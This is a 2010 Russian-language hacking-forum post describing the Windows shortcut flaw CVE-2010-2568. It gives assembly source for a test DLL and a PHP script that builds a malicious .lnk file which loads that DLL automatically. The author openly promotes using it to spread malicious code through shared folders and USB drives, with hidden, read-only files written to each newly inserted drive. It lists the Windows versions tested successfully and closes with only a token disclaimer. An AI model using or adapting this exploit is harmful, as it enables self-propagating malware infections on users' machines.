Авторские статьи Автоматический запуск DLL

Discussion in 'Статьи' started by zombiesystem, 21 Jul 2010.

  1. zombiesystem

    zombiesystem New Member

    Joined:
    12 Jul 2010
    Messages:
    1
    Likes Received:
    3
    Reputations:
    0
    -==[Автоматический запуск DLL]=--

    Данную уязвимость (багу, дырку) можно использовать для распространения своего вредоносного кода: через сетевые расшареные папки, а так же записывать на съемные USB носители информации. Она будет полезна и для автозагрузки вашей dll.

    В качестве теста была написана примитивная библиотека, в результате работы которой запускается обыкновенный MessageBox.

    Code:
    format PE GUI 4.0 DLL
    entry DllEntryPoint
    
    include 'win32a.inc'
    
    section '.code' code readable executable
    
    proc DllEntryPoint hinstDLL, fdwReason, lpvReserved
    	cmp [fdwReason], DLL_PROCESS_ATTACH
    	jne .done
    	invoke MessageBox, HWND_DESKTOP, _message, _caption, MB_ICONINFORMATION + MB_OK
    
    	.done:
    	mov	eax,TRUE
    	ret
    endp
    
    section '.data' data readable writeable
    
    _caption db 'cve-2010-2568', 0
    _message db 'Automatic load dll successfully performed!', 0
    
    section '.idata' import data readable writeable
    	library user32,'USER32.DLL'
    	include 'api\user32.inc'
    section '.reloc' fixups data discardable
    
    Приведу еще один код - это скрипт для создания ярлыка с указанием пути до файла (не забывайте про ограничение на размер).

    Code:
    <?php
    
    $dll_path = 'c:\test.dll';
    
    $lnk = "\x4c\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00".
           "\x00\x00\x00\x46\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x01\x14\x00".
           "\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30".
           "\x30\x9d\x14\x00\x2e\x1e\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd".
           "\x08\x00\x2b\x30\x30\x9d\x0c\x01\x00\x00\x00\x00\x00\x00\x00\x00".
           "\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00\x20\x00\x3a\x00".
    
           mb_convert_encoding($dll_path, 'UCS-2LE', 'ISO-8859-1').
    
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00".
           "\x69\x00\x73\x00\x65\x00\x73\x00\x20\x00\xe0\x00\x20\x00\x6a\x00".
           "\x6f\x00\x75\x00\x72\x00\x20\x00\x61\x00\x75\x00\x74\x00\x6f\x00".
           "\x6d\x00\x61\x00\x74\x00\x69\x00\x71\x00\x75\x00\x65\x00\x73\x00".
           "\x00\x00\x43\x00\x6f\x00\x6e\x00\x66\x00\x69\x00\x67\x00\x75\x00".
           "\x72\x00\x65\x00\x72\x00\x20\x00\x57\x00\x69\x00\x6e\x00\x64\x00".
           "\x6f\x00\x77\x00\x73\x00\x20\x00\x70\x00\x6f\x00\x75\x00\x72\x00".
           "\x20\x00\x64\x00\x69\x00\x73\x00\x74\x00\x72\x00\x69\x00\x62\x00".
           "\x75\x00\x65\x00\x72\x00\x20\x00\x61\x00\x75\x00\x74\x00\x6f\x00".
           "\x6d\x00\x61\x00\x74\x00\x69\x00\x71\x00\x75\x00\x65\x00\x6d\x00".
           "\x65\x00\x6e\x00\x74\x00\x20\x00\x6c\x00\x65\x00\x73\x00\x20\x00".
           "\x6d\x00\x69\x00\x73\x00\x65\x00\x73\x00\x20\x00\xe0\x00\x20\x00".
           "\x00\x00\x00\x00\x00\x00\x00\x00";
    
    file_put_contents("load.lnk.~~~", $lnk);
    
    ?>
    
    Для того, чтобы сделать автозагрузку нашей dll, можно добавить ее на рабочий стол. Только не забудьте сделать проверку на повторный запуск в самой библиотеке!

    Для распространения через носители, нужно постоянно следить за появлением устройств и как только оно будет подключено, записывать файл ярлыка и библиотеку (установите атрибуты скрытый и только для чтения).

    Остальные технические детали можете смело спрашивать и обсуждать в этой теме.

    Тесты были произведены на:
    Windows 2000 – успешный запуск dll
    Windows 2003 - успешный запуск dll
    Windows XP SP2/SP3 – успешный запуск dll
    Windows Vista - успешный запуск dll (не забываем про UAC)
    Windows 7 - успешный запуск dll (помним об UAC)

    Полезные ссылки:
    http://www.securityfocus.com/bid/41732
    http://www.exploit-db.com/exploits/14403/

    Все материалы статьи несут исключительно ознакомительный характер. Автор не несет никакой ответственности!

    (c) Zombie-system 2010.
     
    3 people like this.